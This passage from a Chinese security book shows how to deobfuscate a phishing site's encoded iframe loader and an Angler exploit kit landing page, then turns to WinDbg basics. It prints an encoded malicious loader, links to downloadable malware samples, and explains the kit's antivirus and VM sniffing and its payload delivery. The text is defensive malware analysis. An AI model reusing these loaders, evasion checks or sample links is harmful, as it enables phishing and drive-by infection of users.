125,93,59,101,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,39,92,92,119,43,39,125,59,99,61,49,59,125,59,119,104,105,108,101,40,99,45,45,41,105,102,40,107,91,99,93,41,112,61,112,46,114,101,112,108,97,99,101,40,110,101,119,32,82,101,103,69,120,112,40,39,92,92,98,39,43,101,40,99,41,43,39,92,92,98,39,44,39,103,39,41,44,107,91,99,93,41,59,114,101,116,117,114,110,32,112,59,125,40,39,54,32,51,61,103,46,104,46,101,59,54,32,109,61,51,46,102,40,34,61,34,41,59,53,46,105,40,92,39,60,55,32,108,61,34,110,34,32,106,61,34,107,58,97,59,32,57,58,48,59,34,32,32,98,61,34,56,37,34,32,52,61,34,56,37,34,32,100,61,34,48,34,32,99,61,34,50,34,32,121,61,34,50,34,32,120,61,34,119,46,52,61,50,46,53,46,122,46,67,34,32,32,66,61,34,65,58,47,47,113,46,114,46,111,58,112,47,117,47,118,46,115,63,116,61,92,39,43,109,91,49,93,43,92,39,34,62,60,47,55,62,92,39,41,59,39,44,51,57,44,51,57,44,39,124,124,77,121,70,114,97,109,101,124,115,115,115,115,115,124,104,101,105,103,104,116,124,100,111,99,117,109,101,110,116,124,118,97,114,124,105,102,114,97,109,101,124,49,48,48,124,112,97,100,100,105,110,103,124,48,112,120,124,119,105,100,116,104,124,110,97,109,101,124,102,114,97,109,101,98,111,114,100,101,114,124,104,114,101,102,124,115,112,108,105,116,124,116,111,112,124,108,111,99,97,116,105,111,110,124,119,114,105,116,101,124,115,116,121,108,101,124,109,97,114,103,105,110,124,115,99,114,111,108,108,105,110,103,124,124,110,111,124,99,110,124,56,49,124,100,103,121,116,107,98,52,124,56,56,105,112,124,99,111,109,124,117,115,101,114,124,119,101,98,124,98,97,105,100,117,124,116,104,105,115,124,111,110,108,111,97,100,124,105,100,124,98,111,100,121,124,104,116,116,112,124,115,114,99,124,115,99,114,111,108,108,72,101,105,103,104,116,39,46,115,112,108,105,116,40,39,124,39,41,44,48,44,123,125,41,41,10,60,47,83,67,82,73,80,84,62"
ting = eval("String.fromCharCode(" + ting + ")");
document.write(ting);


这是字符串编码的一个典型应用。这段代码的结构简单明了，做成一个简单的流图后显示如下：
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图7-21：混淆代码的基本流程



可见，这是最简单的“解密（解码）-执行
 ”模式，通过将编码（加密）后的内容解码（解密），然后将内容写入浏览器，再让浏览器执行恶意代码。要“劫持”这个流程，只需要在页面代码解密完成之后，阻断其执行的过程，并将解密后的数据输出即可。

在流程的第三步执行后，解密后的代码就会被写入页面中并渲染，这是我们不希望的，我们需要劫持流程的第三步（写入到页面）。因此，我们将第三步写入到页面中改为“写入到控制台”，要实现这个效果，只需要将document.write改为console.log即可。

[image: ]
图7-22：劫持混淆代码



接着，在浏览器中执行修改后的脚本，得到一个<script>标签，仔细查看script标签内的代码，似乎又是被编码过的。这段代码看似复杂，但是有一个非常明显的特征，那便是开头的“eval（function（p，a，c，k，e，d）{…}）；”，这代表这段脚本是经过了诸如JS Packer等压缩算法处理过的，这样的脚本要进行“解压”也十分简单，将eval换成其他输出函数，例如console.log即可。
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图7-23：混淆代码的输出



在对这段代码进行处理之后，原始的内容便会展现在控制台中，可以看到页面最终会在页面内使用iframe来展示钓鱼网站。

[image: ]
图7-24：混淆代码的输出




	最终页面的内容混淆



之前我们也有提到，如果攻击者直接利用钓鱼网站的模板来产生页面，就会很容易地被杀毒软件的特征检测识别，从而阻止用户访问。因此，作者还对页面的内容进行了简单的混淆。

观察最后页面的源代码可以发现，作者几乎把里面的所有节点的id都替换成了随机内容，而且网页使用的JavaScript的函数也全部变成了随机的名字。

不过要应对钓鱼攻击，最好的方式就是看地址栏。无论怎么弄，攻击者都难以将地址栏改为正规域名（当然，这里并不考虑地址栏伪造漏洞）。另外，这样的针对QQ的钓鱼，还有一个重要的识别方式。攻击者想要用户输入自己的账号密码，因此它不大可能支持单点登录（SSO）功能，如果遇到自己谎称是QQ网站却又无法支持单点登录，也许你就应该提高警惕了。
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图7-25：随机的id和函数名




	
下载地址为http://drops.wooyun.org/wp-content/uploads/2015/04/redoce.rar。返回







7.3　一个简单的挂马代码的处理

7.3.1　快速判断挂马

除了在虚拟环境中，开着杀毒软件直接访问，等待杀毒软件告警，还有什么方法可以快速判断网站是否挂马呢？这里有一些经验性的方式可供参考，挂马时，攻击者经常会在页面的最开始或最末尾插入攻击代码，攻击代码包括指向一段<SCRIPT>或者<IFRAME>的代码，除去常见的统计代码（例如谷歌、百度、51la等的统计代码），如果某个网页的最开始或者最末尾处有这些奇怪的外部链接，还是分析一下较好。

有时，一些<SCRIPT>或<IFRAME>甚至插入在<HTML>之前或者</HTML>之后，这些情况下这些代码的可疑性就更高了，一定要仔细分析一番。

另外，IFRAME的高宽为0或者1、2等很小的数字，或是设置为隐藏时，也很有可能是一个恶意的框架，其指向的网页也需要关注。其他的攻击者也可能将大量的加密数据直接写入网页末尾，例如常见的Ramnit病毒代码即是这样的形式[image: 只是举例，Ramnit所使用的方式在远程访问时并不能执行木马。]

 。


最后，还有标签位置异常的，例如在网页标题中插入的代码，这通常都是挂马者批量插入的，事实上在标题中的内容是无法执行的。但是如果在标题部分有这样的代码，其合法性也应当大大地受到质疑。

在分析时，可以使用分析工具进行代码抓取，例如可以使用wget等工具，也可以使用专门用于网马解密的工具，如Malzilla[image: http://www.malzilla.org/。]

 或Redoce等工具抓取网页保存并分析。因为有些网站限制一个IP最多只能访问一次，因此建议在抓取完信息之后立刻保存一份副本到本地，以免对方站点限制再次访问带来不便。


7.3.2　JS代码的格式化

要处理混淆代码，不仅需要有耐心，还需要一些工具来简化操作。这里我们可以使用Notepad++的插件。打开插件→Plugin Manager→Show Plugin Manager，然后选择JSTool，再单击Install，重启Notepad++之后该插件即可生效。

该插件的使用方法很简单，打开需要处理的页面，定位到<script>标签上，然后选中SCRIPT标签中间的部分，单击插件→JSTool→JSFormat，此时JS脚本中大部分无用的空格和换行等内容会被去除。

也可以在工具Redoce中选择去杂→（5）JS分行也可以进行简易的JS按特殊字符分行的功能。Redoce的功能适用于紧凑的JS代码，例如压缩后的JS脚本，它会对文档内所有的分号、花括号等进行判断，并在适合的地方插入空格或是换行。
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图7-26：在Redoce中的操作




	
只是举例，Ramnit所使用的方式在远程访问时并不能执行木马。返回




	
http://www.malzilla.org/。返回







7.4　更为复杂的代码处理：对Angler网马工具包的反混淆

7.4.1　Angler EK的特征

Exploiting Kit（下也简称EK），又称网马工具包，是一种能够自动生成漏洞利用页面的工具。之前的章节中我们对一些常见的EK做了简单的介绍。本章中，我们将介绍针对EK混淆代码的处理方法[image: 文章使用示例代码可在此下载：http://tem.pw/usr/uploads/2015/11/523245272.rar，解压密码malware。该文件由恶意网站直接抓取而来，杀毒软件会报告病毒，请在虚拟机中关闭杀毒软件调试。本节内容建议参照示例代码进行阅读。]

 。


Angler EK是收费的，购买者可以获得官方的更新支持，官方更新提供的脚本加密算法变化十分快，且绕过杀毒软件审查的效果较好。Angler EK采用“Landing Page－真实页面”的模式，和之前介绍的钓鱼网站情况类似，只不过Angler EK中使用的代码加密更为“疯狂”。

2015年8月版本的Angler会将加密后的数据隐藏在网页的文字中，通过脚本读出加密后的内容解码并执行。图7-27左半部分是Angler EK的利用页在浏览器中展示出的样子，里面有许多无关的文字，这些文字多出自一些小说、新闻，目的就是混淆视听。

还有一大片加密后的文字也混杂在这些无关文字中，如图7-27方框圈出部分所示。通过读取这些内容并解密，Angler EK最终能够跳转到对应的恶意网页上。
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图7-27：Angler EK的页面显示效果和代码



Angler EK采用了非常多的混淆手法。在脚本中，Angler的混淆手段有：

（1）定义大量名称随机的变量，其中一部分是无用变量；

（2）代码行文混乱，空格、缩进、回车随意放置；

（3）有许多不影响执行结果的分支；

（4）将一些常见的关键词拆散，并通过较为分散的代码组合执行。

7.4.2　推理：找出代码中的“解密-执行”模式

对Angler EK的这个页面来说，可能代码精简已经不适用了，因为格式化前后的变化虽然很大，但是Angler EK插入了很多注释、换行等内容，针对它去除混淆效果并不是非常完美，所以我们直接使用原始代码来示范。在Notepad++等工具中，通过将光标定位到花括号的后方，可以清楚地看到花括号的作用范围，这可以帮助我们迅速地确定一个函数的代码区域。
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图7-28：作用范围



然后，我们可以搜索function关键字，找到之后，可以单击function关键字左边的减号按钮，这时，Nodepad++会将函数折叠，我们就可以迅速地知道函数的范围分布，如图7-29的MtMDQz函数则分布在268~386行。

[image: ]
图7-29：折叠函数



这样重复操作几次之后，我们可以知道这段代码中有三个function。

我们从最后的部分入手。仔细观察560～564行和569～573行，可以发现它们的代码几乎一样。看起来这段代码要么是一个通用的功能，要么是一段垃圾代码。要知道他们具体做了什么，还是得从代码本身入手，观察564、573行函数的参数，可以发现两个奇怪的字符串："TQgaaGLDVYlaQT"、"STNCIQGNL"。
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图7-30：折叠后的代码



[image: ]
图7-31：函数和代码的分布简图



[image: ]
图7-32：内容重复的两段代码



查找全文，最后两句的代码中"TQgaaGLDVYlaQT"和"STNCIQGNL"都出现在HTML代码的"id"属性中，因此，我们可以猜测正是最后一句在进行“解密-执行解密后数据”的操作。
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图7-33：对应元素的ID



接下来，我们将从564、573行的另一个参数QXuSacI入手。在558~559行，可以看到QXuSacI正组成一个明文片段，组成明文片段时只有一个dLpy的变量我们无从得知，因此我们应该继续搜索未知部分——dLpy。
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图7-34：另一个未知参数



在代码的437行，可以发现dLpy被赋值了。赋值语句是dLpy=（'EoVzQHTfRyGU'）.substr（12，12）；。也就是说，dLpy的值实际上是一个空字符串。这样，将它的值带入559行，可以知道QXuSacI的值是"YradP"，与564、573行的第一个参数组合，正是HTML文档中某些加密元素的ID。

至此，我们可以完全确信最后的这个函数调用是和解密有关的。再推理一次，如果只是解密，那么肯定无法执行恶意代码。因此，作为整段代码的最后一句，"rqNNhndhLxLVVb[nmfAbWwoA]"这个函数肯定还会有执行恶意代码的功能。所以，这个函数应当作为我们解密的突破口，接下来，让我们围绕这一句展开解密工作。

7.4.3　检证：确定“解密-执行”模式的位置和方法

在解密此类长且复杂的代码时一定要善用搜索功能，代码虽然分散，但是由于Angler EK的随机变量名都特别长而且非常有特色，因此是十分容易搜索到的。让我们查看rqNNhndLxLVVb的定义。

在267行第一次有代码操作了这个变量。在JavaScript中可以将一个对象赋值给另一个对象，所以，rqNNhndhLxLVVb这个变量事实上就是window变量的“别名”，我们可以就把它当作window对象来看待。
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图7-35：赋值语句



这样，函数的形式已经明朗，以573行为例，这一句事实上就是window[nmfAbWwoA]（‘STNCIQGNL’，‘YradP’）。到此为止，只有nmfAbWwoA这个变量的值我们还不清楚。搜索代码，562行得知该变量的值为"ezVI"，然后563行，又将其值连接成为"ezVIxlyG"。
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图7-36：AEK的空字符串混淆



"Migbc".substr（6，8）和[].join（""）的返回值均是空字符串，这也是Angler EK混淆特点之一，代码中会有许多类似的空字符串的连接出现。如果你在处理某段代码时，发现在无法确定某个表达式的值，可以打开一个浏览器，按下F12，然后将代码粘进控制台（Console），按下回车后即可看到表达式的结果。

将nmfAbWwoA的值带入第573行得到语句：window["ezVIxlyG"]（‘STNCIQGNL’，‘YradP’）。在JavaScript中，window[STR_FUNCTION_NAME]（ARGUMENTS）可以调用属于window对象下的函数，例如调用window["alert"]（1）；与调用window.alert（1）；（也即我们常用的简单写法alert（1））的效果是等同的，都会弹出一个内容为1的对话框。

所以，解密后的代码事实上相当于调用ezVIxlyG（‘STNCIQGNL’，‘YradP’），因此，ezVIxlyG是一个函数。搜素ezVIxlyG，第438行，可以看到ezVIxlyG的值由"？"三目运算符运算得到。

[image: ]
图7-37：三目运算符



在JavaScript中，如果你定义一个变量a，不给它赋初值，然后立刻用！！a取值，这时得到的结果是false。所以这个？三目运算符的结果等同于将？的False Part直接赋予ezVIxlyG。它的False Part正是一个匿名函数，且这个函数正是进行“解密-执行”操作的函数。

由于这个匿名函数还处于高度混淆状态，里面包含大量无用代码。我们可以对其进行简单处理，对439～545行（该匿名函数的代码范围）代码进行下列操作：


	替换所有双空格、三空格->单空格，直到没有2个以上连续空格为止；

	回车换行（\n、\r）全部删除；

	使用工具将代码重新格式化（可以使用JSTool等）。



格式化之后的代码显示如图7-38所示，现在代码结构已经比较容易看清了。虽然代码里面还是存在大量的随机名称的变量，但是，如果代码遵循“解密-执行”的模式，这个函数中，最后的一句很可能就是负责“执行”模式的代码。如果代码和我们推测一致，那么整个的解密流程都会迎刃而解。

[image: ]
图7-38：格式化之后的代码



在265行，我们知道了ahQayHnlBEif的值是false，因此，在上图7-38的18行的if判断中，True Part事实上不可能执行，因此我们只要看False Part（else部分）即可。

[image: ]
图7-39：分支混淆



False Part中又有一个if（第26行），但是if的True Part和False Part的代码是一模一样的，所以，图7-39的26～34行，与rqNNhndhLxLVVb[YPub]（UjcS）；一句话是等价的。这也是Angler EK的混淆特点：分支混淆。

在之前的分析中，我们已经知道rqNNhndhLxLVVb是window对象，所以window[YPub]（UjcS）；还剩两个未知变量。由于这一句很可能是在执行解密后的代码，所以我们最好优先关注函数部分（YPub）。我们仔细查看代码。步骤如下。

（1）487~490行，第一次出现YPub。代码为YPub=tP+yMwnso，这又为我们引入了两个未知变量，不用着急，慢慢看，首先看tP。

（2）486～487行，就在YPub=tP+yMwnso一句之前，有一句tP='e'，可以确定tP的值就是单字e。

（3）再稍稍往前看，476~483行，有yMwnso=（'Rv'+（'uapt'）['re'+'place']（'u'，dLpy））[iCQl0]（K1DMU，2）+'l'。这句引入了iCQl0、K1DMU两个陌生变量，所以先搁置。

（4）464~466行，iCQl0=（wRxKW+'snubnstrn'）[F9k2c]（/n/g，qm3sXy），又是两个变量，不过这两个变量很容易发现值，在439行可知qm3sXy为空字符串，447~448行可知wRxKW为单字"n"，454~464行可知F9k2c为字符串"replace"。所以这句等价于iCQl0=（"nsnubnstrn"["replace"]（/n/g，""））；，也即把"nsnubnstrn"中的n全部删除，删除完成后是substr，所以iCQl0的值是substr。

（5）390~391行，K1DMU=3-2，所以K1DMU的值是1。

（6）在4、5两步已经知道值之后，我们回到第3步，将值带入，这句相当于yMwnso=（‘Rvuapt’[’replace’]（‘u’，’’）[’substr’]（1，2））+'l’，运算可知结果为"val"。

（7）将第2步、第6步的值带入第1步，可以知道YPub就是"eval"。

也就是说rqNNhndhLxLVVb[YPub]（UjcS）等价于window["eval"]（UjcS），我们将"eval"手动换成"alert"，劫持其“执行”的步骤。在浏览器中运行劫持后的代码，可以看到这个脚本已经开始自动往外吐解密后的数据了。

[image: ]
图7-40：脚本“吐出来”的代码



7.4.4　追踪：使用浏览器特性判断用户环境

alert吐出来的其实是eval的参数，所以它们仍然是脚本。为了能够切实地知道这个恶意脚本做了什么，我们需要对这些“明文”代码进行更深入的分析。

我们可以将rqNNhndhLxLVVb[YPub]（UjcS）简单地替换成rqNNhndhLxLVVb["console"].log（UjcS），然后打开当前页面，并在控制台取得吐出来的数据，把它们保存到一个合适的文件中，观察代码结构。

使用console.log时，建议使用基于Chromium的浏览器，IE浏览器可能会限制一行输出的字节数，导致输出不完整。在浏览器中打包含有console.log的文件，在合适的浏览器中按下F12呼出开发人员工具，切换至“控制台（Console）”标签，接着在“控制台”标签中右键选择“另存为（Save as）”后，保存成.html或是.js文件方便工具着色。然后用可以着色的工具例如Notepad++打开这个文件，即可看到“解密后”的内容。

[image: ]
图7-41：控制台输出后的内容



查看输出后的文件，可以发现文件有5行。图7-42是解密后的内容（左）与原始文件（右）的对比，可以发现解密后的内容也会利用到原始文件中的变量。使用变量的含义我们可以稍后研究，现在的首要任务是理解这段代码的走向和逻辑。

[image: ]
图7-42：脚本对比



由于这个文件中的五段代码是按照console.log的输出顺序排列的，所以我们可以假定这里1~5行的代码执行顺序是和在原始文档中一样的，即代码走向是从1~5行依次执行的。在Nodepad++中选中全文，使用JSTool插件的JSFormat功能将其格式化。格式化后的内容见提供的rar[image: http://tem.pw/usr/uploads/2015/11/3906393859.rar，密码malware。]

 的“aek-plainall.js”。


格式化后是一个200行规模的脚本文件，脚本文件的结构如图7-43所示，左边是行号。让我们先阅读第一部分的逻辑。

[image: ]
图7-43：脚本结构



第一部分的代码如下：

[image: ]


[image: ]



上述代码中，Target（）和TargetN（）两个函数用作设置某种开关用，这两个函数中操作的变量并不是立刻用在函数内的。阅读到这里的时候，我们应当还不了解这两个函数的具体用途，这时可以先记下来，不用理会。




另一个函数是pauseIt（millis）（aek-plainall.js的第13行），阅读代码之后可以知道这个函数就是相当于一个Sleep函数，会让JS代码空循环等待一定时间。

还有一个看起来比较隐蔽的函数Check（s）（aek-plainall.js的第28行），这个函数会创建一个Image对象，并加载参数s指定位置的图片。在图片加载成功后，执行TargetN（通过图片的onload事件去触发）。

TargetN中仅有一句话，window.sf325gtgs7sfdn=true；，这表明"sf325gtgs7sfdn"变量是Check函数的结果。当Check函数检查的图片文件存在时，就会置"sf325gtgs7sfdn"开关为true。

让我们继续观察第20~26行，这段代码会试图创建一个ActiveX对象"Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1"，这是一个由卡巴斯基制作发布的IE安全支付输入插件，也就是在输入密码时的一个虚拟键盘程序。

如果这个对象创建成功，那么就调用Target（）函数。也就是说，Target（）函数中初始化的那些开关变量的具体值和这一步创建对象是否成功有关。因为，如果new ActiveXObject创建对象不成功，代码将跳转到catch部分，将tmp设置为false，而且Target（）是不会执行的。

[image: ]
图7-44：AEK检测卡巴斯基



在执行完这段代码后，下方的代码看起来会比较“古怪”。还是让我们一点点阅读，27行检查这个对象是否创建成功（创建失败代表用户没有安装卡巴斯基），程序会转而调用Check函数检查用户电脑上是否有特定版本的诺顿安全软件的存在。

方法便是调用Check函数，网页传给Check函数的参数则有些奇怪，全部都是"res：//C：\Program files\Norton Security with Backup\Engine\21.1.0.18\asoehook.dll/#2/#102"这样的URI。

[image: ]
图7-45：AEK检测诺顿



7.4.4.1　利用RES URI Scheme嗅探计算机信息

Angler EK检查诺顿杀毒软件时候，传给Check的参数是IE中独有的"RES URI Scheme"。RES URI Scheme可以解析PE格式的文件的资源，并把它们显示在浏览器中。它的语法是：RES：//resource file[/resource type]/resource id。resource file就是包含资源的文件，resource type是资源的类型，而resource id是资源的编号。

编程者在编写一个DLL时（或是其他PE文件时），可以向DLL中置入一个图片资源并使用。攻击者试探的诺顿安全防护套装的asoehook.dll便包含有多个图片资源。使用工具Resource Hacker查看该文件包含的资源。如下图7-46所示，Bitmap：113资源是一个信封一样的图片文件。

[image: ]
图7-46：ResHacker显示asoehook.dll的资源



要在IE浏览器中访问这个资源，只需指定res：//path to dll/#2/#113即可，而且这个图片资源的加载并没有同源准则的限制。例如图7-47中，我们试图在about：blank中创建一个Image对象，并加载res：//f：\asoehook.dll/#2/#113资源，最终加载成功。攻击者可以利用这个方式来试探用户机器上是否有对应文件，从而确定用户的机器上是否安装了对应的杀毒软件。

在Angler EK这个例子中，当网页发现用户安装了指定版本的诺顿杀毒软件时，Check函数中图片对象x的onload事件将会触发，并将设置开关变量sf325gtgs7sfdn为true。第一部分的代码到这里也结束了，接下来让我们进入第二部分的阅读。

[image: ]
图7-47：IE的about：blank显示资源图片



7.4.4.2　利用Microsoft.XMLDOM嗅探计算机信息

第二部分的代码开始时，代码将会判断上一步中创建对象“Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1”是否成功。第二部分检测代码开始。

第二部分前两个函数Target（）、pauseIt（millis）和第一部分的功能类似，在此跳过不看。而Ufe3S（txt）则又是一个看似古怪的函数。在第63~64行，函数检查第一部分的返回结果，如果第一部分已经嗅探到用户安装了对应的安全软件，就不再做这一步的检查了。否则，在第71行，这段代码会创建一个Microsoft.XMLDOM对象。

XMLDOM是用来访问和操作XML文档的编程接口规范。借助Microsoft.XMLDOM对象，也可以在JavaScript中进行XML对象的创建、修改等操作。

[image: ]
图7-48：判断代码



74行的代码会调用resInf.loadXML（‘<！DOCTYPE html PUBLIC"-//W3C//DTD XHTML 1.0 Transitional//EN""res：//c：\\windows\\system32\\drivers\\？？？.sys">’）。这个DOCTYPE声明了文档的根元素是html，它在公共标识符"-//W3C//DTD XHTML 1.0 Strict//EN"的DTD中被定义。如果浏览器找不到这个DTD，会使用后面的res：//部分查找。也就是说，这段代码会根据后面res：//所指向的文件是否存在来返回不同的错误代码。

在75行，网马加载完XML之后，读取resInf["parseError"]["errorCode"]，当errorCode不为0时，检查错误码是否为-2147023083（也即0x80070715）。将其转为标准错误码即1813，代表错误："指定的资源类型无法在文件中找到"。

这个错误码代表文件存在，但是没有合适的资源。攻击者只想要确定有没有指定文件，而并不想从文件里面读取资源，所以这段代码足以让他达到目的，嗅探到res：//后指定的本地文件是否存在。

88行开始，网马会检查多个驱动文件，例如趋势科技的tmebc32.sys、虚拟机的vmusbmouse.sys等，用于判断当前浏览器所处的环境。如果已经得到了这些内容，就坐上标记。否则，再用res URI判断是否有对应的程序存在。

Angler EK会检测的软件有：安全软件Kaspersky Anti-Virus、Kaspersky Internet Security、Trend Micro、调试工具Fiddler、虚拟机中的数据传输工具VMware Tools、Parallels Tools、Oracle VirtualBox Guest Additions。

7.4.4.3　破解自造加密函数获取漏洞Flash文件地址

在113~122行，当Array对象不支持indexOf方法时，为它添加[image: JavaScript中，对象的prototype属性是一个指向原型对象的引用，原型对象包含有与函数实例共享的方法和属性。]

 一个indexOf方法，内容为遍历Array并返回与obj一致的项目的序号。


在123~136行中，网马自造了一个解密函数。通过new Function（）定义函数时，构造参数的最后一个字符串为函数体，在它之前的所有参数都会在函数创建完成之后，传给最后一个字符串所定义的函数体。通过这种方式构造函数，可以让攻击者容易地修改函数体。
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图7-49：添加indexOf方法



[image: ]
图7-50：解密函数



为了方便阅读，我们可以将函数Gengz的函数体部分抽出并作为JavaScript格式化，在阅读后可以得知这是一个字符串顺序置换形式的解密函数。函数中各个变量的用途是自解释的。以下是这个加密函数的加密算法：

（1）密钥（cryptKey）在原始的HTML中有定义，将其按字节拆散成数组，存在rawArray中，值为["M"，"G"，"K"，"e"，"D"，"Z"，"n"，"y"，"r"，"U"，"t"，"h"，"2"，"8"，"3"，"j"，"i"，"B"，"V"，"z"]；

（2）该函数会把这串密钥的字符按字母表顺序排序，存为sortArray，它的值为["2"，"3"，"8"，"B"，"D"，"G"，"K"，"M"，"U"，"V"，"Z"，"e"，"h"，"i"，"j"，"n"，"r"，"t"，"y"，"z"]；

（3）然后，遍历sortArray，将各个值出现的位置保存到keyArray中。这个过程的示例如图7-51所示；

（4）以cryptKey的长度为最小单位，如果待解密的密文的长度不足cryptKey长度的整数倍，补空格，直到成为整数倍为止；

（5）以cryptKey的长度为单位进行循环，取出待解密的密文中的对应长度的文本，并按照KeyArray的顺序重排文本，得到明文。这个过程的示例如图7-52所示；

[image: ]
图7-51：遍历sortArray操作流程



[image: ]
图7-52：按照KeyArray重排文本



（6）在连接完所有明文后，去除所有空格并返回解密后的明文。

在137~166行，网马会解密出一个URL，并向页面写入代码，试图让浏览器加载位于hxxp：//kiyoshi.noahsbootandshoerepair.com/6wPrlh_lsbc-9hRJiDNmuto00SCpbQ66ZWFxss A_s5dM2-R_的Flash文件，该Flash文件利用了当时流行的CVE-2015-0313漏洞。

7.4.5　利用漏洞CVE-2014-6332发起攻击

第170行至最后，网马定义了另一种编码方式。首先，170~183行中，定义了四个超长的字符串。在188~190行，网马将这些字符串四个字符一组，使用unescape函数将其从字符编码还原成字符。

[image: ]
图7-53：170行开始的代码



191~196行，网马分别创建了两个SCRIPT对象，将其中一个变量按2个字符一组，并使用unescape函数将其还原成字符。使用Redoce，将编码后的内容粘贴到代码区，然后单击解密-（8）HexASCII清除-开始，之后就可以得到明文内容。在粘贴时请只保留十六进制数字部分，不要粘贴进其他任何无关的符号。

在函数V72dmg3ve7（）中，攻击者最终露出了马脚，我们发现了一个URL：HXXP：//malware_host/VnBQMmNHa0wwT29JbG9jV3FNOG1OSGNKN3d5UXhRckhiVTZUTl9lRFQ2S0c3NUZE。阅读最后的VBScript代码可知，网马确实是要下载这个URL到本地并执行的。而最后的这段VBScript正是著名的VBS神洞CVE-2014-6332的利用代码。至此，我们已经完全了解了这一版Angler EK的混淆方式和最终要拉取的恶意内容的URL，整个解密流程结束。

[image: ]
图7-54：去除HexASCII的结果




7.5　本章小结

本章中，一个钓鱼网站和Angler EK采用的混淆代码贯穿始终。通过分析这些混淆代码，我们知道了混淆代码的基本执行模式——“解密-执行”，还了解到针对这个模式进行代码劫持的方式。

然后，我们从Angler EK的例子中了解到攻击者如何利用浏览器的特性来刺探用户计算机中已安装的软件信息。

最后，我们分析Angler EK的换位加密算法，并成功地破解了该方式，获得了代码最终想要加载的内容，网马解密流程宣告结束。

各种混淆手段都万变不离其宗，都是针对JavaScript自身的特性去做的，只要对代码的走向有清晰的认识，无论什么样的混淆都可以迎刃而解。


8　调试工具与Shellcode

从本章开始，我们的重心将逐渐从脚本调试转换为二进制代码调试。代码在这个层面阅读起来并不会像脚本一样清晰明朗，所以整个分析过程需要耐心和细心。本章中我们先从调试工具的用法开始，介绍常用的调试工具和一些基础的调试概念。之后，我们将成一段简单的Shellcode开始带领大家逐渐熟悉Shellcode的编写和Shellcode调试的实践方法。本章的调试均在Windows上进行。


8.1　调试工具的用法

欲若工其利，必先利其器。在调试Shellcode之前，我们需要选择一款合适的调试工具。在Windows平台上，较为著名的调试工具有Windbg、IDA、OllyDbg，它们每一个都有独自的特色，本节将概述这三个调试器的用法。大家自可寻找适合自己的调试器进行调试。

8.1.1　调试符号

调试符号（下也简称“符号”）可以告诉调试器某一个地址上的数据到底是代表着什么含义。符号可以提供许多重要信息，例如哪些代码是结构体信息、变量名称、函数名称、参数类型等，这对调试漏洞和分析崩溃尤为重要。

微软的编译器生成的符号文件称作PDB文件（Program DataBase File）。调试符号能够与可执行文件捆绑编译，但是这样可执行文件体积会变得庞大，而且，商业软件也并不一定希望自己的符号文件随着可执行文件一起发布。所以现在大多数程序的符号一般都是和可执行文件分开保存的。

在调试时我们需要在调试器中指定符号文件的位置。微软和其他一些公司都建立了公开服务器，服务器上存放了微软的二进制文件的符号文件，可以通过调试工具下载后加载。

[image: ]
图8-1：WinDbg加载符号前后的栈回溯对比



各个调试程序针对没有符号的状态表现不一，可能会直接显示地址，也可能会依据各模块的导出函数列表粗略计算出各个位置相对于导出函数起始位置的偏移。图8-1是WinDbg调试IE崩溃时，匹配符号前后调试器解析出的函数调用栈[image: 调用栈即函数调用顺序，最上面的是最近调用的。因为与栈结构一样后进先出，所以称为调用栈。]

 的名称。


加载微软的官方符号之后（图右），调试者可以清楚地知道崩溃发生在MSHTML.dll的CTreeNode类的GetLookasidePtr函数的偏移0xc语句处。而在加载函数之前（图左），我们只能看到崩溃位于MSHTML.dll偏移0x13d93e处的那条语句上，并不能简单明了地知道崩溃到底和什么有关。在了解了调试符号的作用之后，让我们接着再介绍调试工具的使用方法。

8.1.2　WinDbg的用法

WinDbg是一款免费的功能强大的调试工具，它既可以随着Windows SDK一起安装，也可以单独下载或单独复制出EXE使用。也许你之前有听过NTSD、CDB、KD这几个工具。这三个调试器都是基于命令行窗口（CUI）的，NTSD和CDB只支持用户态代码调试，KD只支持内核态代码调试，而WinDbg相当于将NTSD、KD两个调试工具打包起来，并加上了一个GUI。WinDbg既可以用作应用层调试，也可以用作内核态调试用。

[image: ]
图8-2：WinDbg的界面



WinDbg、NTSD、CDB和KD都采用同样的调试引擎，所以它们的命令都是一样的。如果你之前一次也没有尝试过使用上述之中一个工具来调试程序，可以试一试在Windows 2000~Windows XP中，使用系统自带的NTSD工具调试一下exe。命令很简单，执行ntsd[程序名称]即可启动调试。我们可以发现用NTSD和用WinDbg调试EXE显示的信息几乎是一模一样的。

[image: ]
图8-3：NTSD的界面



在WinDbg中可以通过File-Open Executable打开一个可执行文件供调试，也可以通过File-Attach to Process来附加到另一个进程上调试。在调试浏览器问题时，通常我们都使用附加进程的方式来调试。在开始调试后，WinDbg才会显示命令窗口和调试结果的输出窗口。

在调试之前，让我们在WinDbg中设置符号服务器。微软的符号服务器的地址是http://msdl.microsoft.com/download/symbols。我们可以单击WinDbg的File-Symbol File Path，然后填入SRV*e：\Symbols*http://msdl.microsoft.com/download/symbols。e：\Symbols这个目录是本地的缓存目录，任意指定成你的计算机上一个剩余空间较大的分区下的文件夹即可。也可以不填。

如果你记不住这么长的地址，WinDbg也提供了一个简单的方法：执行命令.symfix即可自动设置SRV*http://msdl.microsoft.com/download/symbols到你的Symbol File Path中。符号位置设置完成之后，请执行.reload命令让WinDbg载入所有现在正在使用的符号。

这样，我们就可以调试了。我们可以使用“bp地址”语句来下断点，例如我们想让程序停在kernel32.dll的导出函数MessageBoxW上，我们可以直接输入bp kernel32！MessageBoxW，当程序执行到MessageBoxW函数的开头时，WinDbg会立刻中断让我们进行后续操作。

进入函数后，可以通过p命令来进行单步步过操作，或使用t命令来进行单步步入操作。在没有走到call指令时，p和t的作用是一样的，都是执行一条语句，并在那条语句执行完之后的下一条语句处暂停。在有call指令时，p命令会直接执行完call，并在call语句的下一条语句处暂停。而t则会跳转到call指令要调用的函数中再去执行。

[image: ]
图8-4：步过和步入



此外，当在一个函数中需要立刻执行到函数返回时，可以使用gu。执行代码到下一个call处时，可以使用pct。让程序继续运行（直接跑起来）可以使用g命令。

假设我们挂上的是浏览器进程，在浏览器发生异常时，WinDbg会自动断下。假设有图8-5所示的代码片段。在执行到a/b时，由于b是0，所以会触发除以零异常。当这个异常无人处理时，WinDbg会提示调试者divide函数中的一句代码出错了。此时，我们可以使用k命令来查看调用栈，借由调用栈可以了解函数的调用关系。如果需要查看函数的参数，可以使用kvn命令。当需要切换到调用栈中的某一层时，可以使用.frame/c[层数]命令来切换。

[image: ]
图8-5：调用流程和调用栈



